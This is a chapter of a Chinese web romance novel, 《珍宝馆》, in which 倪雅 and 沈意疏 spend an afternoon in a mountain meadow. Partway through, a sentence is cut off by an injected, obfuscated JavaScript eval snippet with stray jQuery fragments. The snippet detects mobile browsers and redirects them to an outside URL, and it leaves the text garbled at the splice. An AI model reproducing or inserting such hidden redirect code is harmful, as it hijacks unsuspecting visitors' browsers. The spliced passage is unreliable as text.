8.08
作品:《珍宝馆》 倪雅打定主意要给沈意疏一点颜色瞧瞧,之后的路程拒绝再和沈意疏交流。
不得不说沈意疏选的这条路线实在很美,脱离城市的喧嚣后,路两旁都是枝头挂满淡粉色花朵的树。
大概已经是花期里的末期阶段了,花瓣在微风中扑簌簌落下,像一场下在春日里的疾雪,美不胜收。
倪雅不说话后,沈意疏的话反而多了些,边开车边给她介绍这条通往山里的乡村路。
倪雅有好几次都挺想问问他是怎么发现这条路线的,想到之前那个简短的“无”,她努力坚持着没开口。
半小时后,硬派越野车离开盘山公路,颠簸着开上路途崎岖的山坡。
野生植被遮挡住一部分视线,只能看到郁郁葱葱的嫩绿色和晴空的涧石蓝融成一幅赏心悦目的画卷。
无人修剪的树枝接连划过车身,沈意疏关掉了车窗,几枝宽叶擦着玻璃扫过去,车里仍能听见剐蹭过程中不同程度的“唰唰”声。
倪雅实在忍不住:“再这么开下去会把车漆划伤的。”
毕竟这辆车价格昂贵。
沈意疏回了她一个安抚的眼神,关注点并不在车子上。
他说,离目的地还有一段距离,问倪雅有没有晕车或者哪里不舒服。
倪雅说:“没有。”
沈意疏略一点头:“不舒服随时告诉我。”
藏在野草丛下的土地坑洼不平,车身摇摇晃晃前行,短暂地路过一棵树干粗壮、树冠茂密的参天大树。
下午两点多钟,正是日光强烈的时刻,树下光影斑驳,倪雅闭了片刻眼睛,再睁开时,车子已经稳稳停在小山坡的顶端了。
眼前豁然开朗,漂亮得像神话传说里神祇居住的世界。
野花铺满山坡,虫鸣时唱时歇。
清风徐徐而过,花与草连成一片流动的海洋,五彩的波涛足以击碎一路颠簸带来的疲惫。
倪雅满眼惊艳,扭头看向沈意疏,他已经解开安全带,冲着窗外的景色斜了斜额:“就这儿,走吧。”
倪雅跟着解开安全带,跳下越野车,闭着眼睛深深吸了一口馥郁的自然气息才深一脚浅一脚地跑去车后方。
沈意疏打开了后备箱,倪雅想跟过去看看有没有需要自己帮忙携带的物品。
她扶着车身一路跑来,正准备说车身有一道划痕看起来蛮深的,恐怕已经伤到底漆了。
正欲开口,倪雅瞧见后备箱里的东西,话锋猛地转了个弯:“咦你这是......”
沈意疏的后备箱里放了十几个同品牌的鞋盒,要不是荒山野岭人迹罕至,倪雅真的会以为他是带她来开那种备箱集市的。
沈意疏说:“这地方路况不太好,不需要登山但也还是换一下鞋会更安全。”
说着拿起一个鞋盒递到倪雅面前。
倪雅始料未及,接过鞋盒打开看,鞋盒里躺着一双崭新的专业登山鞋。
这个品牌倪雅了解过,感觉配个冰爪都能爬珠穆朗玛峰了......
倪雅这样说的时候沈意疏没附和:“不能,这款没有电加热。”
然后沈意疏又抽出两个鞋盒打开,说是一共选了三款,让倪雅按喜好选择穿哪个。
原来中午沈意疏在电话里说的“不用”是这个意思吗?
他已经都帮她准备好了。
倪雅选了一款配色最顺眼的,拿起鞋子看了看码数,然后倒抽一口清新空气,作势要把手里的鞋子砸向沈意疏:“我看起来哪有40码!”
沈意疏靠在侧开的尾门上笑:“每个款式都买了几双,36-40码都有,找找有没有能穿的。”
倪雅第一次在郊外做这种事——挨个看鞋盒上的码数。
她也是第一次遇到这样买东西的人,摸不准就买十几双鞋回来再选。
没有质量问题人家品牌方都不给退,不知道沈意疏要怎么处理多出来的这些双鞋子。
倪雅换好鞋子,沈意疏已经从后备箱拿出一个登山包。
他单肩背好包,对着倪雅一招手:“这边。”
风景的惊艳和沈意疏的贴心让倪雅重新发起了交谈。
她赞叹景色美,也谈天气好,为了鞋子道谢,然后说上一次看这样的自然景色还是一年半之前的事。
大多数人叙事都从六个方面讲起,时间、地点、人物、起因、经过、结果。
倪雅只提到了时间。
她没有像讲到胸前的法贝热彩蛋项链那样叽叽喳喳地说个不停,只是不经意提及这样一句话,忽然不再吭声了。
沈意疏向身旁瞥去,敏锐地捕捉到倪雅的情绪变化:
她垂下眼睑的瞬间,眼底闪过一丝似有似无的黯淡。
紧接着倪雅脚下一空,差点跪倒,被沈意疏及时拎住手臂才避免整个人栽进百卉群芳里的惨剧发生。
好像刚才的目光黯淡和闭口不谈只是沈意疏的错觉,倪雅站稳,把一颗不知道什么时候摘下来的野花递到沈意疏面前,笑盈盈地说:“是不是挺好看的?”
沈意疏说:“春飞蓬。”
倪雅疑惑:“这花吗?”
沈意疏说春飞蓬是一种外来入侵物种,倪雅想到他神秘的个人信息,撇着嘴顶了一句:“你们侦探懂的真多。”
说完,倪雅低头嗅了嗅手里的小花,鼻尖碰到些花粉,掩唇打了个惊天动地的喷嚏。
倪雅再次把花往沈意疏面前递过去:“这花送你了。”
沈意疏没接花。
他比倪雅高出一个头还多一些,垂着眼睑和她对视。
这种凝视太过直接认真,徒然生出一种微妙暧昧的气氛。
沈意疏在这样的气氛里抬起手,指腹扫过倪雅的鼻尖。
短暂,轻柔,如同蜻蜓点水般。
倪雅维持着对视,余光里看到沈意疏撤走的指尖上沾着花粉。
啊,他......帮我擦花粉了吗?
倪雅屏着呼吸移开视线,当她再抬眼,又撞进了沈意疏直勾勾的凝视里。
异常专注,牢牢锁定她。
这个从不自恋的老实姑娘都忍不住怀疑沈意疏把她约到这么美的地方,是要说点什么暧昧的话或者做点什么暧昧的事。
倪雅脊背僵硬,难以抑制的紧张。
沈意疏却问道:“倪雅,你遇到过什么让你十分不开心的事吗?”
倪雅对这个问题始料未及,下意识回忆带来的滞空感令她睁大眼睛。
脆弱仅仅暴露了不到一秒的时间,随即她掩饰地退开,紧捏着那颗春飞蓬,绕过沈意疏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466370|201218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,磕磕绊绊地踩着碎石和树枝往花草更盛处走去。
不知道春风从哪来,穿过山谷,吹向郁郁葱葱的万物。
倪雅闭上眼睛在风里张开双臂,用熟悉的欢快语调说:“你自己都藏着无数个秘密不肯说,就别总想着套我的话了。”
沈意疏没再追问过,带着倪雅向远处一棵苦楝树的方向走:“花不送我了?”
“不送了。”
倪雅也若无其事地跟着沈意疏,仿佛刚才的对话没发生过:“过期不候的!”
走过去才发现那棵树上的花落了大半,树下的岩石上铺满淡粉色的落花。
倪雅用手拂掉那些花瓣,坐下来,发现这个地方视野很好,开阔,广袤,还能看到山底下的高楼林立的城市一角。
“沈意疏,你怎么找到这里的?”
“阴差阳错。”
“有没有人说过你很会选地方?”
“没有。”
“这地方很美啊!”
“没和别人来过。”
倪雅蓦然转过头,发现沈意疏完全不是在有目的的讨好或者奉承,他甚至都没看她,找了根黑色发绳把头发束成了利落的半扎。
倪雅擦掉额角的汗水,望着眼前的风景,忽然觉得很开心,有种能忘掉前尘往事重新开始的解脱感。
沈意疏的登山包里有饮料和食物,他们坐在山顶吃东西、聊天、斗嘴、观赏风景。
直到太阳沿着山脊缓缓沉到天边,霞光普照,山里骤然刮起一阵不再温柔的疾风,倪雅才忽然意识到,郊游要结束了。
身体里冉冉升起的能量极速流失,就像倪雅卧室抽屉里那些没拆封的画笔和颜料、崭新的小牛皮手账本、只用过一张相纸的拍立得相机、土壤龟裂球根干瘪死亡的那盆洋水仙......
那些还没真正培养起来就迅速枯萎的新爱好,它们也曾带给倪雅“重新开始”的幻想,到最后都成了堆积在一起的摆设。
倪雅想要抓住这一刻,状似无意地指着远处车轮没在草丛里的黑色越野车问沈意疏:“你那辆车能在野外过夜吗?”
沈意疏不解风情地说:“不能。”
“哦......”
倪雅没纠结这个问题,转头又和沈意疏聊起别的内容。
又过了半小时,天边只剩一条绯色余晖,天色更暗了。
倪雅正拎着蔫掉的春飞蓬,蹲在地上逗一只害羞地躲在叶片后面的小白蛾,沈意疏起身,拍了拍倪雅的脑袋。
倪雅抬头。
沈意疏说:“回去吧。”
说完把手递到她面前。
倪雅的腿早就蹲麻了,把手搭在沈意疏掌心里借力,好半天才磨磨蹭蹭站起来,不舍地瞄了一眼越发黯淡的天际。
沈意疏在倪雅起身后没有松手,忽然握了握她被山风吹凉的指尖。
他说:“这辆车的座椅质感偏硬,睡起来不会很舒服,而且也没有准备保暖设备。”
倪雅霎时间看向沈意疏。
沈意疏松开手,改为握着倪雅腕间的衣袖带她往山下走:“如果你想睡在野外,下次我们可以找个地方去露营。”
下次。
倪雅的眼睛亮了,迈过好几个凹凸不平的碎石堆才带着笑意回答:“好啊。”

